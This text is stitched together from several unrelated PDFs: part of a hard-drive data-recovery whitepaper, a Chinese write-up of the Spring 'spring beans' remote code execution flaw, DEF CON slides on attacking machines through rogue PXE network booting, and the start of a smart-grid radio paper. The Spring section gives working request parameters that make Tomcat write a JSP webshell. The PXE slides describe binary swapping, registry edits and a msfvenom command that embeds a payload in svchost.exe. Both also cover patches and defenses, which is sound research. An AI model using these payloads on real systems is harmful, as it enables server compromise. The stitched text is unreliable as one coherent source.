4. A screwdriver set with T3-T8. These are my favorite http://www.wihatools.com/200seri/278serie.htm 5. Post-it Notes 6. Other tools depending on the drive 7. Patience Process for Head Replacement: 1. You will need to disassemble the heads and other components from the drive to clear the room for the head and components. 2. Disassemble the new hard drive, and carefully use folded paper to move the heads apart and to keep them apart as much as possible. NOTE: If you are going to move the heads off of a drive platter you should always spin the motor in the direction away from the heads and the arm while you are moving the actuator arm to get the heads off. Move with care. If you are storing the heads or going to put them down, you can try cutting sections of a drinking straw around the head itself. If the drive has a ramp it is very useful to help line up the heads to take them off and to put them back on. *** There is often a screw under the assembly of the actuator arm SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 15 of 22 that needs to be removed to move the heads. 3. Carefully lift the assembly out of the drive and move it to the bad drive and reassemble. It will take about two hours to assemble correctly if you take your time. Do everything you can to get the heads lined up again. NOTE: It is helpful to fold a piece of post-it notes in a V shape and to make the V towards the platters and the heads on each side of the V. You can get the paper to slide onto the platter and turn the platters with a screwdriver while you gently move the heads back into place. You must get them lined up and review it before you turn the drive back on or the heads may slide into place and hit the edge of the platter ripping them off and scratching the platter. It is good to practice with another drive you do not care about before doing this. Slide 4500: Doing a Platter Swap for a Single Platter List of items needed: 1. The first step is to get a hard drive as close to identical as the bad drive you have that is a working drive. At the bottom of this paper you will find help about matching hard drives and serial numbers. 2. You need a clean area to work on with as little dust floating around as possible. 3. You will need about 1 hour to do this carefully 4. A screwdriver set with T3-T8. These are my favorite http://www.wihatools.com/200seri/278serie.htm 5. Post-it Notes 6. Other tools depending on the drive 7. Anti-Static Gloves ($5 at the local store) 8. Patience 1. Just move the head as careful as you can to get it out of the way NOTE: This is a fairly simple task compared to a head swap. The hardest part is again getting the heads aligned and back on the platter correctly. If you have a ramp on your drive it is fairly simple to get the head moved out of the way enough to get the platter in position. SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 16 of 22 2. Remove the platter from the good drive. NOTE: I usually will try to put a screwdriver in the shaft just to the edge of the center of the platter and turn the drive just enough to get the platter to slide on to the screw driver. I will do the same for the bad drive to move the platter to the good drive. . The platter will most likely never be used again so just get it out however you can without affecting the rest of the drive. Again I use the Post-it notes in the shape of a V to get the heads back on the platter as I did in the head replacement. Be very careful to keep the orientation in the same direction to so that the platter will be in the correct location when you put the platter back on the new drive. Slide TBD: Doing a Platter Swap for a Multi-Platter In order to do a Multi-Platter replacement you will need a special tool. If you have more than one platter and you take out the platters and any one of them turns at all, you will never get them aligned again or be able to read the data. This is because the data is written in a cylinder. Since the data is in a cylinder you must have the exact same alignment of the platters in order to move them to a new hard drive. There is a special tool called a Platter Replacement Stand. You can get one at SalvationData.com http://www.salvationdata.com/productDetail.asp?pn=00013 for around $250 plus postage. It is a really heavy stand and weighs about 10 pounds. The platter replacement tool is what you really need and it looks a lot like a coffee can with a slit in the side. Once you have moved your heads out of the way, this can sits down around all the platters and you can push down on a piece of metal mounted in the slit to tighten it around the platters. It also has a lid inside that sits on the top ring of the platters that will hold the screws and keep them from rolling around all over the platters. The pressure from the “coffee can” will hold all the platters together; however you still have to be really careful about taking it out and turning it. It should go straight from one hard drive to the other as quickly as possible with as little movement as possible. This is the best possible way to keep the drive platters lined up. You will still reassemble the SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 17 of 22 drive just like you do in a head stack replacement or a single platter replacement. The only difference is using this device to move the platters. Slide 4945: The End with a Crashing Hard Drive Shattering into Parts ADDITIONAL RESEARCH INFORMATION AND NOTES Matching Serial Numbers on Hard Drives This link is where I keep track of documentation on how each hard drive needs to be matched for a working donor drive. I get this any where I can, use it if you can, and if you happen to find something out please let me know so I can add it to the collection! NOTES: Drives with the same model number can still have different numbers of heads, therefore the board is different. It is possible to identify the number of heads in a drive: Maxtor, Quantum, Seagate from the serial numbers: REFIRBUSHED DRIVES REFIRBUSHIED drives cannot be used as a donor drive. Head 0 is the bottom head and could be bad. And substandard parts are often installed. It is very difficult to match a refirb drive to a good drive with the same problems. This also makes it difficult to make repair a refirb drive. QUANTUM Quantum – the third number in the serial number shows the heads Quantum = HA code must match SEAGATE Seagate – the third SYMBOL in serial number represents the heads. Seagate’s sometimes have extra heads and when one is refurbished it is possible to turn off a bad head and turn on an alternate one and then the firmware number revision might change. FUJITSU Fujtsu needs the first xx-Xxxx to match IBM and HITACHI DRIVES - Usually the same drive IBM MLC codes have to match HITACHI Hitachi ATMR 80gigs fails most Hitachi 3.5 – Firmware code needs to match Hitachi 2.5 – PCB rev has to match WESTERN DIGITAL DRIVES DCM codes for the (5th??? And) 6th numbers must match. SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 18 of 22 No Western Digital drives with the letter R in the code. EB and BB models. Western Digital Drives EB and BB have the head stack affixed from the lid. Western Digital the sixth char in the model is the cache. U = 2meg V=8meg SAMSUNG Samsung the 4th Char in the alpha code on the label on the rear side needs to match Samsung the 7th char in the model is the size of the buffer H=8megs MAXTOR DRIVES The second number of the serial number represents the number of heads Maxtor needs the 2nd and 3rd char to match: Hi you all, this is the answer I received directly from Maxtor Dear Mr. Robert,... here is the paragraph that deals with your model type (DiamondMax Plus 9): For the following Maxtor hard drive models: Fireball 3, DiamondMax 16, DiamondMax Plus 8, DiamondMax Plus 9, Diamond Max 10 and all MaxLine products there is also a GTLA Number on the model (next to barcode on the bottom of the drive). Format 1Y222J2223322. 1, 2 and 3 stand for numbers, Y and J for letters. The numbers 1 and 3 as well as the letter Y need to be identical to be able to replace the PCB on these drives. This number can be found on the large sticker on the top of the drive. Unfortunately we cannot give you any more information than this. Any of your DiamondMax Plus 9 drives could possibly have a matching PCB, however it is most likely to be an older one as the drive in question is almost 3 years old. Kind regards, Gisela Schubert Technical Support Maxtor Ireland Ltd. o copied from: o http://forum.hddguru.com/howto-how-to-replace-maxtor- calypso-iii-board-vt5977.html SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 19 of 22 Serial Number on Hard Drive The boot sector in the FAT32 partition 43h 4 The serial number, the serial number is stored in reverse order and is the hex representation of the bytes stored here. The boot sector in the FAT partition The data contained in the boot sector after the OEM name string is referred to as the BIOS parameter block or BPB 27h 4 The serial number. The serial number is stored in reverse order and is the hex representation of the bytes stored here. SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 20 of 22 Random Notes and Ideas For Data Recovery 1. Drive goes to sleep, replace the board live 2. Partitions start on Cylinder Boundaries 3. Hard Drives have a Safe Mode 4. You can fix LaCie problems with a Mac mounting them in the system 5. Drives that you plug in that cause windows to Crash – Use Ubuntu to Read Files 6. When problems with MFT then retry smaller blocks 7. If drive parts are good then rewriting the SA area is the part that needs repairing. 8. SA Code can be replaced to do data destruction or encryption 9. If you are thinking of a hard drive as 0’s 1’s then you are wrong. The equipment interprets signals to make the representation of 0s or 1s. Designers have taken into account the signal distortion and interface problems to make the work. 10. Remove a chip from the PCB and re-solder the chip onto a good board to fix specific problems with chips that are burned, cracked, etc. 11. Soft resets on SATA also need to do a hard reset the controller as it cannot be reset any other way like the bus is reset in a PCI or ATA. 12. ATA-3 Spec – hard drive read without retry was disabled and now is internal on the drive. 13. Seagate Drives use a serial interface of which you can find online. It will show you stats on the drive. If you see FFFF mask FFFF mask it is a head error. 14. If a drive is read with a standard read then it does not need to be read again but it might be good to use ECC to compare in a later pass. 15. Force the drive to use PIO mode instead of DMA/UDMA modes. Some hard drive failures cause the drive to fail reading UDMA but might still work in PIO. 16. Powers on good drive, while board is still in use move it to a new drive. Wrong defect tables and can be cleared. 17. If the platters are misaligned you can write data over the servo wedge and thereby destroying any chance that you can ever read the data. 18. As the thermal heat increases stability of the bits drop rapidly and with the addition of Areal density – degradation is much higher. There are fewer atoms in each bit to retain the bit orientation. Currently the drive will test for decay and if detected will automatically rewrite the data it detects. 19. Hard drives stored in heat for long term storage is extremely bad. 20. Adaptec ATA Raid 1200A Controller in combination with MHDD is great for recovery software. 21. To determine if there is an HPA – Look at the LBA Maximum and if it is equal to Maximum Native LBA then there is no HPA. 22. Partitions created using standard disk partitioning tools, fdisk, Windows Disk Management, Partition Magic, will all be cylinder aligned. You only have to scan cylinder boundaries for partitions. Dynamic disks do not use partition tables, they use LDM which is at the end of the disk and needs to be done backwards. It uses one single partition occupying the entire disk minus one cylinder. When volumes are added or deleted the partition table is not updated. There are only 4 partitions possible with the standard Windows tools. SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 21 of 22 23. All partition table signatures end in 55 AA – if this is gone the OS will regard this as not existing. 80 is active 0B fat32 0F extended 24. Everything in NTFS is a file - $boot 25. Sector is the smallest addressable unit on the disk. You can read more than one sector but you cannot read less. 26. If doing a head replacement try straws for head stack replacements around the heads to keep them protected. Cut off a small piece of a drinking straw and place it over the head area of each and every head. 27. Even when the lower part of a head stack does not have heads they are still numbered. 28. Increasing numbers of drive have no chance for parts replacement due to changes in the hardware. 29. Some drives store the lists in the NV Ram on the PCB. The table on one drive will not match the table on another drive and are unique. That might cause the same logical blocks to be mapped to different physical blocks on different hard drives. It is possible to have a swapped board cause a space on the hard drive to be overwritten due to the mapping problem. SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 22 of 22 Document Rights - In Short: Give Me Credit This paper can be used, modified, redistributed, published or printed in complete, any part or as a derivative work, with proper attribution to the original author. You have the right to abridgment, adaptation, translation, revision or other "transformation" of this work. Derivative works may also be created by transforming a work, such as an audiovisual work, into an interactive work, as long as credit is attributed to the author. Credit should be displayed as: by Scott A. Moulton @ Forensic Strategy Services, LLC. Copyright © 2007, All rights reserved.
pdf
1 spring beans RCE Spring MVC 框架的参数绑定功能提供了将请求中的参数绑定控制器⽅法中参数对象的成员变量,攻击 者通过构造恶意请求获取AccessLogValve 对象并注⼊恶意字段值触发 pipeline 机制可写⼊任意路径下 的⽂件。 简答来说就是参数绑定造成的变量覆盖漏洞,漏洞点spring-beans包中。 ⽆ JDK>=9 springMVC 全版本 根据之前的漏洞分析 http://rui0.cn/archives/1158,其中⼀个点在于获取BeanInfo,位置在CachedIntrospectionResults 构造⽅法,下个断点,发送请求断下 漏洞介绍 漏洞编号 影响范围 漏洞分析 属性注⼊分析 2 之前的补丁是把classLoader等危险属性过滤掉了。 跟踪如上堆栈发现,新版本和旧版本参数绑定的类有所不⼀样,具体位置如下,setPropertyValue也叫 属性注⼊ org\springframework\beans\AbstractNestablePropertyAccessor.class#setPropertyValue 3 补充:AbstractNestablePropertyAccessor 类通过其成员属性提供了⼀种⽀持嵌套属性的数据结构 这段的理解参考 https://www.cnblogs.com/binarylei/p/10267928.html getPropertyAccessorForPropertyPath 根据属性(propertyPath)获取所在 bean 的包装对象 beanWrapper。如果是类似 director.info.name 的嵌套属性,则需要递归获取。真正获取指定 Java 复制代码 // 1. 递归获取 propertyName 属性所在的 beanWrapper,如 director.info.name 获 取 name 属性所在的 info bean AbstractNestablePropertyAccessor nestedPa = getPropertyAccessorForPropertyPath(propertyName); // 2. 获取属性的 token PropertyTokenHolder tokens = getPropertyNameTokens(getFinalPath(nestedPa, propertyName)); // 3. 设置属性值 nestedPa.setPropertyValue(tokens, new PropertyValue(propertyName, value)); 1 2 3 4 5 6 4 属性的包装对象则由⽅法 getNestedPropertyAccessor 完成。 可以看到 getPropertyAccessorForPropertyPath 的递归调⽤ 也就是bean属性的递归获取,⽐如我这个环境中,最外层BeanWrapperImpl封装的是UserInfo,我传参 是 Java 复制代码 protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {    // 1. 获取第⼀个点之前的属性部分。eg: director.info.name 返回 department    int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);    // 2. 递归处理嵌套属性    // 2.1 先获取 director 属性所在类的 rootBeanWrapper    // 2.2 再获取 info 属性所在类的 directorBeanWrapper    // 2.3 依此类推,获取最后⼀个属性 name 属性所在类的 infoBeanWrapper    if (pos > -1) {        String nestedProperty = propertyPath.substring(0, pos);        String nestedPath = propertyPath.substring(pos + 1);        AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);        return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);    // 3. 当前对象直接返回   } else {        return this;   } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 5 对应的就是我controller中的⼊参类 我传参 class.module.classLoader.resources.context.parent.appBase 第⼀次获取class对应的BeanWrapperImpl 6 UserInfo除了基础的四个属性以外,还有⼀个 class 并且在嵌套属性 nestedPropertyAccessors (这个是缓存后有的,直接在beanInfo⾥也能看)中 也直观看到class 利⽤链分析 AbstractNestablePropertyAccessor.class#getPropertyAccessorForProper...Java 复制代码 this.getNestedPropertyAccessor(nestedProperty)    this.getPropertyValue(tokens)        this.getLocalPropertyHandler(actualName)  this.getCachedIntrospectionResults().getPropertyDescriptor(propertyName) // propertyName=class 1 2 3 4 7 展开可以看到套娃⼀样的嵌套属性 8 class.module.classLoader.resources.context ⽤对象如何获取呢,对应代码如下,也就 是多个 getter 串起来 9 获取到的就是StandardContext,是不是在内存⻢也⻅过。 进⼀步获取appBase也就顺理成章,最终聚焦下parent,也就是StandardHost class.module.classLoader.resources.context.parent Java 复制代码 ((org.apache.catalina.loader.ParallelWebappClassLoader)  new UserInfo().getClass().getModule().getClassLoader()).getResources().getCon text() 1 Java 复制代码 ((org.apache.catalina.loader.ParallelWebappClassLoader)  new UserInfo().getClass().getModule().getClassLoader()).getResources().getCon text().getParent() 1 10 公开的利⽤链也就是pipeline下的AccessLogValue的利⽤,这个类⽤来设置⽇志存储参数,包括路径、 后缀,修改参数即可达到写⼊任意⽂件的⽬的。 11 AccessLogValue的属性可参考tomcat官⽅⽂档 https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html 通过属性注⼊修改AccessLogValue的⼏个属性如下 AccessLogValue构造 12 由于%会被过滤,pattern⾥通过引⽤头部来实现构造。 PS: 注意每次写新的⽂件,需要修改suffix、prefix以及fileDateFormat,否则⽂件路径不会修改。 fileDataFormat:默认是.yyyy-MM-dd,尽量只⽤数字,因为字⺟会被解析格式化 suffix:只要有后缀即可 prefix:可任意 pattern:格式⼀般是%h %l %u %t "%r" %s %b ,所以%会被格式化,但通过%{xxx}i可引⽤请求头字 段,即可保证任意字符写⼊,并且可以实现字符拼接,绕过webshell检测。 http://xiaobaoqiu.github.io/blog/2014/12/30/tomcat-access-logpei-zhi/ Java 复制代码 class.module.classLoader.resources.context.parent.appBase=./ class.module.classLoader.resources.context.parent.pipeline.first.pattern= %25{Prefix123}i+1231231+%25{Suffix123}i class.module.classLoader.resources.context.parent.pipeline.first.suffix=r andom1111.jsp class.module.classLoader.resources.context.parent.pipeline.first.director y=. class.module.classLoader.resources.context.parent.pipeline.first.prefix=w ebapps/ROOT/random1111 class.module.classLoader.resources.context.parent.pipeline.first.fileDate Format=time_fomrat_random111 1 2 3 4 5 6 Java 复制代码 %{xxx}i 请求headers的信息 %{xxx}o 响应headers的信息 %{xxx}c 请求cookie的信息 %{xxx}r xxx是ServletRequest的⼀个属性 %{xxx}s xxx是HttpSession的⼀个属性 1 2 3 4 5 13 JDK1.8下测试,class bean下没有module bean,导致后续⽆法利⽤,如果是class.classLoader则会被 ⿊名单拦截。 查了下module对应的类是java.lang.Module,是JDK9引⼊的,JDK9引⼊了模块系统。 https://blog.csdn.net/charles_neil/article/details/114460702 补充下: ⿊名单判断逻辑,beanClass⾮Class或者属性name⾮(classLoader|protectionDomain),满意⼀个即 可,⽽jdk8中没有module,只能⽤class.classLoader调⽤,⽽这样两个条件都不满⾜,导致⽆法绕 过。 bypass原因分析 CachedIntrospectionResults.class Java 复制代码 Class.class != beanClass || !"classLoader".equals(pd.getName()) && !"protectionDomain".equals(pd.getName()) 1 14 jdk9为什么能绕过呢,因为他多了⼀个module,如class.module.classLoader,这样module就满⾜第 ⼀个条件,⽽不去判断第⼆个条件,从⽽绕过⿊名单。 之前struts2出过类似漏洞,有⼈编写了⼀个jsp来遍历 https://cs.github.com/julianvilas/rooted2k15/blob/a00055f906502dd038b908a84907b74b38e26b 20/struts-tester/struts-tester.jsp 细节看代码,主要把这个替换成⾃⼰的模型类,也就是控制器⽅法的⼊参类,以此为起点来获取 gett er 和 setter 效果如下,其他嵌套属性有啥⽤,就待⼤家⾃⾏摸索了。 如何遍历嵌套属性 15 做了属性值的获取,通过getPropertyAccessorForPropertyPath获取即可,示例代码如下 16 Java 复制代码 BeanWrapperImpl bw = new BeanWrapperImpl(this.initarget); String propertyName = poc + "." + fieldName; Integer offset = propertyName.indexOf(prefix); if (offset != -1) {    propertyName = propertyName.substring(offset + prefix.length()); } String value = ""; String type = ""; try {    BeanWrapperImpl bwl = (BeanWrapperImpl)invoke(bw, "getPropertyAccessorForPropertyPath", propertyName);    // TODO: 这⾥私有属性和getter对应不上,应该不算bean,默认还是通过私有属性反射    Object v = getFieldValue(bwl.getWrappedInstance(), fieldName);    value = v.toString();    type = v.getClass().getName(); } catch (Exception  e) {    value = ""; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 17 再看⼀下JDK9 springboot下的,和springMVC的classloader不⼀样,是 AppClassLoader ,没有 getResources()。 springMVC是 ParallelWebappClassLoader 18 然后看下JDK8的springMVC,如下所示,protectionDomain是在⿊名单内,所以连属性值都获取不 到。 19 PS: 没有解析到值的,说明那个属性是错误的,不是bean的属性。 这⾥是打印的存在setter的属性,不打印只有getter的属性。 所以总结下 >=JDK9。 springMVC。 请求接⼝对应的是控制器⽅法。 ⽅法⼊参是⾮基础类,不能是String,int等 请求⽅法要和控制器⽅法对应上,否则⽆法访问。 官⽅补丁 https://github.com/spring-projects/spring- framework/commit/afbff391d8299034cd98af968981504b6ca7b38c 临时⽅案 (⼀)WAF防护 在WAF等⽹络防护设备上,根据实际部署业务的流量情况,实现 对“class.*”“Class.*”“*.class.*”“*.Class.*”等字符串的规则过滤,并在部暑过滤规则后,对业务运⾏ 情况进⾏测试,避免产⽣额外影响。 (⼆)临时修复措施 需同时按以下两个步骤进⾏漏涧的临时修复: 1.在应⽤中全局搜索@InitBinder注解,看看⽅法体内是否调⽤dataBinder.setDisallowedFields⽅法, 如果发现此代码⽚段的引⼊,则在原来的⿊名单中,添加{"class.*","Class. *","*. class.*", "*.Class.*"}。 (注:如果此代码⽚段使⽤较多,需要每个地⽅都追加) 2. 在应⽤系统的项⽬包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller 所在的包 中添加).完成类添加后,需对项⽬进⾏重新编译打包和功能验证测试。并重新发布项⽬。 利⽤条件 ● ● ● ● ● 修复建议 20 https://github.com/spring-projects/spring- framework/commit/afbff391d8299034cd98af968981504b6ca7b38c 2022年3⽉31⽇18:31:58 Refine PropertyDescriptor filtering 补丁很简单,当beanClass是class.Class时,只允许添加name属性。 并且如果属性是 ClassLoader 和 ProtectionDomain ,也会被忽略。 补丁分析 Java 复制代码 import org.springframework.core.annotation.Order; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) public class GlobalControllerAdvice{    @InitBinder    public void setAllowedFields(webdataBinder dataBinder){        String[]abd=new string[] {"class.*","Class.*","*.class.*","*.Class.*"};        dataBinder.setDisallowedFields(abd);   } } 1 2 3 4 5 6 7 8 9 10 11 12 13 21 class.classLoader.resources.dirCon想·text.docBase CVE-2010-1622 http://rui0.cn/archives/1158 http://xiaobaoqiu.github.io/blog/2014/12/30/tomcat-access-logpei-zhi/ https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement 利⽤需要找控制器⽅法⼊参是⼀个⾮基础类,⽐如⼊参是String则⽆法触发参数绑定。 参考链接 其他注意事项 22
pdf
Network Nightmare Ruling the nightlife between shutdown and boot with pxesploit #whoami • Matt Weeks • Scriptjunkie if you hang out on irc • I have a twitter but I don’t use it • http://www.scriptjunkie.us/ • scriptjunkie {shift+2} scriptjunkie.us What’s going on here • Want to compromise another system on the LAN? • Could write an amazing 0-day for [list running network services] – But that can take a lot of time – Fuzzing/static analysis -> Vulnerability ID -> Identify exploitation path -> Bypass protections -> blah blah blah -> and you still need to escalate privs Easier way? • How about we try an offline attack? Offline attacks • Evil maid attack • Rubber hose cryptanalysis Downsides • Usually require physical access • Usually not very stealthy • Often could wind up with a lot of jail time • Of course lots of pentesters have flown places, snuck in buildings, and physically accessed systems PXE • Intel-introduced firmware to boot from NIC • BIOS-level access – Bypasses application defenses/host firewalls/OS protections/AV – Independent of OS – Works over network – Full system control How it works • Step 1 – Your computer shuts down How it works • Step 2 – Wake up … something’s different PXE Proliferation • Almost every system BIOS I have looked at is PXE-capable • I have no stats on how widely it is turned on • I have seen it used, I have seen it left on, I have seen it turned off • I do not have a lot of experience Why would Intel do this to us? • My guess at top syadmin reasons: – Used for image deployment – Used for system restoration – Not used, but ready for OS upgrades – What’s that? I have that on? How PXE works • DHCP extension – Client sends DHCPDISCOVER with PXE option – Server sends DHCPOFFER with server IP addresses, other information – Repeat with DHCPREQUEST/DHCPACK • TFTP Download from identified server • Executes code • Magic PXE Difficulties • DHCP extension – Must be on LAN, beat real DHCP server • Forwards to TFTP – Need one o’ these servers too • Downloads/executes code – Code running on bare metal PXE Difficulties Current PXE “attacks” • Manual creation of PXE server • Manual configuration of DHCP • Deploying images • Or running pxelinux Current PXE “attacks” • Not written to be attacks • Manually reconfiguring admin tools – Time-consuming – Imaging can replace all existing data – Difficult to deploy to remote network – Unreliable or lack targets – Lack support for custom payloads Online Control • Some Linux live CDs can be booted via PXE – DSL – Tiny Core – Knoppix • Strategy – Remaster live CD – Boot live CD via PXE • pxelinux loads kernel, initrd • scripts may connect back to nfs to continue booting – Have scripts auto-run to connect back – Shell! Online Control • Demo Online Control • Advantages – No reliance on target OS – Flexibility – No need to code the whole attack beforehand Online Control • Problems • MyNetworkCard™ compatibility – Even if the distro has a driver for your card, the initrd doesn’t! • Time – Someone’s probably sitting on the other end staring at the screen – Be fast Offline Code Injection • You are going to do it anyway • Executing outside the OS is OK, executing a process with privileges inside the system is better Offline Linux Code Injection • Shellcode on boot – Write/edit file to RCE • /etc/init.d/… • ~/.bashrc etc • User add – /etc/passwd – ~/.ssh/authorized_keys Offline Windows Code Injection • Bootkits • Binary planting • Binary swapping • Binary embedding/modification • DLL preloading • Registry edits • Binary swapping + service editing Note! • This presentation will not be addressing FDE • See cold boot attack or evil maid attack details Bootkits • Sinowal • Stoned • Whistler • TDL/Alureon Bootkits • Advantages: – Skillz points – Stealth – Full privileges Bootkits • Disadvantages: – Usually very OS-specific – Usually don’t work when MS patches OS protections – A lot of work and probably overkill for PXE attack Binary Planting • Startup folders – C:\Documents and Settings\All Users\Start Menu\Programs\Startup – C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup – Unprivileged • WBEM .mof method – Stuxnet! – Unfortunately not always applicable (Not compatible with Vista+) Binary Swapping • Example: – Swap services/svchost/wininit/… with replacement – Replacement starts up old services.exe and payload, then replaces itself with old services.exe • Advantages: – Code execution guaranteed – Privileged – Portable Binary Swapping • Disadvantages: – Early-start processes cause bluescreen when they exit – To replace swapped exe, process must exit – Later-start processes can be disabled – Cannot rely on either Binary Embedding/Modification • Inject additional code into existing .exe files – svchost/wininit/winlogon/… • Example: msfvenom -f exe -x svchost.exe -k -p - < pay > a.exe Binary Embedding/Modification • Problems • Different architectures – Embedding x86 != embedding x64 – Cannot rely on enough slack space in different windows versions – Still have issues with cleaning up after yourself DLL Preloading • Swap user32.dll or some other dll • Or add dll higher in search path with payload • Problems: – Architecture – Imports • Still an option Registry Edits • Lots of options! – Run keys - HK(LM|CU)\SOFTWARE\Microsoft\Windows\Curr entVersion\Run • Reliable • Unprivileged – Service addition HKLM\SYSTEM\CurrentControlSet\Services • Privileged! • Registry values differ between versions Registry Edits – Service Editing HKLM\SYSTEM\CurrentControlSet\Services • Privileged! • Changing binpath string, possibly type, start – Known DLL’s • Privileged! • Add string – And others Registry Edits • Wait, registry edits? Strings? – We are using a Linux initrd – We are adding data to registry – Probably will work with chntpw’s ntreged library – But … Hive expansion! ... If expansion occured, you will get a warning when writing back. – We really don’t want to corrupt the HKLM registry, however unlikely Binary Swapping + Regedit • Swap a non-essential service binary (late- boot) • Use DWORD registry edit to enable service • On boot, service runs Binary Swapping + Regedit • Reliable • No bluescreens • Cross-arch • No registry corruption warnings Pivoting • Run in memory via meterpreter – Railgun • Network delay – Extension • Compiled program Meterpreter Review • TLV request • Embedded DLL • Reflective Loader • Method Calls Attack Recap 1. Dynamic payload generation 2. DHCP forwarder 3. TFTP serve 4. PXELinux kernel, initrd load 5. Binary swap 6. Registry edit 7. Reboot to OS 8. Swapped EXE spawns payload, cleanup Demo Defense • How to fail at defense: – IP reservations – NAC – PXE Force Mode – BIOS passwords Defense • VLAN isolation – Each system on separate VLAN – Localize broadcast domains – Forward DHCP traffic – Configure via enterprise switch/routers Defense • Firewalls – Only allow DHCP traffic to/from server – Watch for ARP poisoning Defense • Detection of rogue DHCP servers – Scan periodically – Check for duplicate replies – Check for ARP poisoning – Check for unregistered clients if possible Questions
pdf
w waarrddrriivviinngg tthhee ssm maarrtt ggrriidd :::: pprraaccttiiccaall aapppprrooaacchheess ttoo aattttaacckkiinngg uuttiilliittyy ppaacckkeett rraaddiiooss :::: sshhaawwnn m mooyyeerr aanndd nnaatthhaann kkeellttnneerr D DeeffC Coonn 0000001100001100 DEF CON 00010010 Moyer / Keltner :: Wardriving the Smart Grid Page 2 This page intentionally left blank. DEF CON 00010010 Moyer / Keltner :: Wardriving the Smart Grid Page 3 This page intentionally left blank, too. DEF CON 00010010 Moyer / Keltner :: Wardriving the Smart Grid Page 4 This page wasn't supposed to be blank. Not sure what happened there. Plz advise. DEF CON 00010010 Moyer / Keltner :: Wardriving the Smart Grid Page 5 "The truth is also that a well-placed squirrel can wreak almost as much havoc as a cyber attack on a power grid." “Doctor” Charles Palmer, Director, Institute for Advanced Security, IBM, June 2010 “We must find this well-placed squirrel, and ensure that it never falls into the hands of our enemies.” Shawn Moyer, esq, The Internet, June 2010 DEF CON 00010010 Moyer / Keltner :: Wardriving the Smart Grid Page 6 If you haven't just emerged from a coma, you probably have some idea of the multifaceted attack surface that the inevitable modernization of power transmission and distribution is rapidly introducing. What you may not be thinking about just yet, though, is the path much of that attack surface travels on... The air around you. So where do we start? The "Smart Grid" itself is pretty well understood at this point, and I won't bore you by linking to some Wikipedia article or other and describing it. At the end of the day it's pretty simple: Utilities have been operating more or less in the dark, or at least at a macro-level, for a long time now, with no real idea of load or usage beyond (at best) a neighborhood or substantion level. The price paid for that lack of visibility is clear as well: brownouts and blackouts caused by unexpected or unforeseen changes in load that, while rare, often have a domino effect due to interdependence between utilities. At a less intrusive level, utilities struggle with either overbuying or underbuying capacity, with an unexpected heat wave or a cold snap enough to put planning off the rails. The basics are pretty straightforward - let's connect utility distribution, delivery, and transmission, let's automate where we can. Let's monitor load, usage, and demand, and adapt our delivery in something closer to real time. In reality, the notion that in 2010, utilities are still "rolling trucks" to connect and disconnect service and gather usage data is laughably quaint. Imagine an ISP with no QoS, no granular view into real-time usage or load, no bandwidth caps, no weight-based routing protocols, no metered bandwidth. Your cell phone, cable, satellite television, and broadband providers all have near-instant visibility into load, demand, and usage, and have for over a decade. Is it really so unreasonable to expect electric, gas, and water utilities to want the same just- in-time data, the same accuracy? No, it's not. Unfortunately, though, it's not quite that simple. Because US utilities are so late to the party, and thanks in no small part to some well-intentioned but missapplied stimulus money, DEF CON 00010010 Moyer / Keltner :: Wardriving the Smart Grid Page 7 adoption of grid automation is happening at a breakneck pace, and as with any rapid push of new technology, Mistakes Are Made. And those mistakes have greater potential consequences than, say, the great Central Colorado Comcast Outage of July 1, 2010, which, while certainly frustrating to the writer of this document due to his inability to stalk nearby strangers on Foursquare, ultimately doesn't quite equate to a real disruption of critical infrastructure. If we accept that this stuff is inevitable, and that at least the rationale to interconnect all of the grid's naughty bits together makes sense, what's the quickest way to move things forward? Let's say you've got a few million homes to bring online, a handful of power stations, a few thousand substations, 